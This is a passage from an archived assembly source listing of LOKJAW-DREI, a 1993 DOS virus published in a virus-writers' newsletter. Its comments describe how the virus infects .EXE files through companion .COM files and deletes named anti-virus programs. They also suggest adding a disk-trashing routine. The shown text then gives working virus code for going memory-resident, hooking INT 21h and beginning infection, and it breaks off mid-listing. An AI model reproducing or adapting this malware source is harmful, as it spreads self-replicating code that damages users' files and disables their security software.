home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LOKJAWD.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  16KB  |  560 lines

  1. ;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory 
  2. ;anti-anti-virus capability.  For Crypt Newsletter 12, Feb. 1993.               
  3. ;
  4. ;LOKJAW-DREI is a resident spawning virus which installs itself in
  5. ;memory using the same engine as the original Civil War/Proto-T virus.
  6. ;It is simpler in that none of its addresses have to be 
  7. ;relative, an indirect benefit of the fact that the virus has no 
  8. ;"appending" quality.  That means, LOKJAW doesn't alter its "host" files,
  9. ;just like a number of other companion/spawning viruses published in
  10. ;previous newsletters.
  11. ;
  12. ;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating 
  13. ;itself as companion .COMfile to the "host."  Due to the inherent rules
  14. ;of DOS, this ensures the virus will be executed before the "host" the
  15. ;next time the infected program is used.  In reality, LOKJAW is even
  16. ;simpler than that.  If not in memory, the first time the host is
  17. ;called, LOKJAW will go resident and not even bother to load it.
  18. ;In most cases, the user will assume a slight error and call the host
  19. ;again, at which point it will function normally. LOKJAW will then infect
  20. ;every subsequent .EXE file called. LOKJAW is very transparent in operation,
  21. ;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
  22. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  23. ;
  24. ;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  25. ;retaliating virus by quickly deleting the anti-virus program before it
  26. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  27. ;virus program cannot detect LOKJAW in memory, it will be deleted.  This
  28. ;makes it essential that the user know how to either remove the virus from
  29. ;memory before beginning anti-virus measures, or at the least run the
  30. ;anti-virus component from a write-protected disk. At a time when retail
  31. ;anti-virus packages are becoming more complicated - and more likely that the
  32. ;average user will run them from default installations on his hard file -
  33. ;LOKJAW's retaliating power makes it a potentially very annoying pest.
  34. ;A virus-programmer serious about inconveniencing a system could do a
  35. ;number of things with this basic idea. They are;
  36. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  37. ; instantly.
  38. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  39. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  40. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  41. ; program is employed against it.  By placing
  42. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  43. ; an unknowing user to employ anti-virus measures on a machine where
  44. ; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
  45. ; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
  46. ; is run against them from a write-protected diskette, LOKJAW-DREI
  47. ; won't.  It will recognize the anti-virus program, display the "chomp"
  48. ; and mimic trashing the hard file. This effect makes the disk inacessible
  49. ; until the machine is rebooted.
  50. ;
  51. ;The anti-anti-virus strategies are becoming more common in viral programming.                 
  52. ;Mark Ludwig programmed the features of a direct-action retaliating
  53. ;virus in his "Computer Virus Developments Quarterly."  Peach, Groove and
  54. ;Encroacher viruses attack anti-virus software by deletion of key files. 
  55. ;And in this issue, the Sandra virus employs a number 
  56. ;of anti-anti-virus features. 
  57. ;
  58. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  59. ;DREI infected files from a system, simply delete the "companion" .COM 
  60. ;duplicates of your executables.  Ensure that the machine has been booted
  61. ;from a clean disk.  To remove the LOKJAW .COM-appending virus, at this
  62. ;time it will be necessary for you to restore the contaminated files from
  63. ;a clean back-up.
  64. ;
  65. ;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
  66. ;files in plain sight.  Generally, spawning viruses make themselves
  67. ;hidden-read-only-system files.  This is an easy hack and the code is supplied
  68. ;in earlier issues of the newsletter.  The modification is left to 
  69. ;the reader as an academic exercise.
  70.  
  71.         
  72.         .radix 16
  73.      cseg       segment
  74.         model  small
  75.         assume cs:cseg, ds:cseg, es:cseg
  76.  
  77.         org 100h
  78.  
  79. oi21            equ endit
  80. filelength      equ endit - begin
  81. nameptr         equ endit+4
  82. DTA             equ endit+8
  83.  
  84.      
  85.  
  86.  
  87.  
  88.  
  89. begin:          jmp     virus_install                              
  90.  
  91. note:            
  92.         db     '[lÖçk⌡äW-dΓÉì].ߥ.Ürπ$┼ådëMû$'
  93.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼,$ôΓ┼.öƒ.'
  94.         db     'ÇΓÿ₧.Ñëw$└Σ╫εΓ'  ;I.D. note: will doubtless
  95.                      ;show up in VSUM
  96.         
  97.  
  98.                          ;install
  99. virus_install:  mov     ax,cs                    ; reduce memory size     
  100.         dec     ax                           
  101.         mov     ds,ax                        
  102.         cmp     byte ptr ds:[0000],5a        
  103.         jne     cancel                        
  104.         mov     ax,ds:[0003]                 
  105.         sub     ax,100                        
  106.         mov     ds:0003,ax
  107. Zopy_virus:  
  108.         mov     bx,ax                    ; copy to claimed block  
  109.         mov     ax,es                        
  110.         add     ax,bx                       
  111.         mov     es,ax
  112.         mov     cx,offset endit - begin                    
  113.         mov     ax,ds                       
  114.         inc     ax
  115.         mov     ds,ax
  116.         lea     si,ds:[begin]            
  117.         lea     di,es:0100                  
  118.         rep     movsb                       
  119.                             
  120.  
  121.  
  122. Grab_21:                                     
  123.         
  124.         mov     ds,cx                   ; hook int 21h
  125.         mov     si,0084h                ; 
  126.         mov     di,offset oi21
  127.         mov     dx,offset check_exec
  128.         lodsw
  129.         cmp     ax,dx                   ;
  130.         je      cancel                  ; exit, if already installed
  131.         stosw
  132.         movsw
  133.         
  134.         push    es 
  135.         pop     ds
  136.         mov     ax,2521h                ; revector int 21h to virus
  137.         int     21h
  138.                      
  139. cancel:         ret          
  140.  
  141. check_exec:     
  142.         pushf
  143.  
  144.         push    es                     ; push everything onto the
  145.         push    ds                     ; stack
  146.         push    ax
  147.         push    bx
  148.         push    dx
  149.  
  150.         cmp     ax,04B00h               ; is the file being 
  151.         
  152.         
  153.         
  154.         jne     abort                   ; executed?
  155.         
  156.         
  157.  
  158.  
  159.                          ;if yes, try the_stinger
  160. do_infect:      call    infect                  ; then try to infect
  161.         
  162.         
  163.                   
  164.  
  165. abort:                                        ; restore everything
  166.         pop     dx
  167.         pop     bx
  168.         pop     ax
  169.         pop     ds
  170.         pop     es
  171.         popf
  172.  
  173. Bye_Bye:      
  174.                    ; exit
  175.         jmp     dword ptr cs:[oi21]                     
  176.  
  177.  
  178. new_24h:        
  179.         mov     al,3             ; critical error handler
  180.         iret
  181.  
  182. infect:          
  183.         mov     cs:[name_seg],ds       ; here, the virus essentially
  184.         mov     cs:[name_off],dx       ; copies the name of the
  185.         
  186.         cld                            ; loaded file into a buffer
  187.         mov     di,dx                  ; so that it can be compared
  188.         push    ds                     ; against the default names
  189.         pop     es                     ; in the_stinger
  190.         mov     al,'.'                 ; subroutine 
  191.         repne   scasb                  ; <-- 
  192.         
  193.         call    the_stinger            ; check for anti-virus load
  194.                            ; and deploy the_stinger
  195.         
  196.         
  197.         
  198.         cld
  199.         mov     word ptr cs:[nameptr],dx
  200.         mov     word ptr cs:[nameptr+2],ds
  201.  
  202.         mov     ah,2Fh
  203.         int     21h
  204.         push    es
  205.         push    bx
  206.  
  207.         push    cs
  208.  
  209.         pop     ds
  210.         mov     dx,offset DTA
  211.         mov     ah,1Ah
  212.         int     21h
  213.  
  214.         call    searchpoint
  215.         push    di
  216.         mov     si,offset COM_txt
  217.  
  218.         mov     cx,3
  219.      rep    cmpsb 
  220.         pop     di
  221.         jz      do_com
  222.         mov     si,offset EXE_txt
  223.         nop
  224.         mov     cl,3
  225.         rep     cmpsb
  226.         jnz     return
  227.  
  228. do_exe:         mov     si,offset COM_txt
  229.         nop
  230.         call    change_ext
  231.         mov     ax,3300h
  232.         nop
  233.         int     21h
  234.         push    dx
  235.  
  236.         cwd
  237.         inc     ax
  238.         push    ax
  239.         int     21h
  240.  
  241. Grab24h:        
  242.         
  243.         mov     ax,3524h         
  244.         int     21h        
  245.         push    bx
  246.         push    es
  247.         push    cs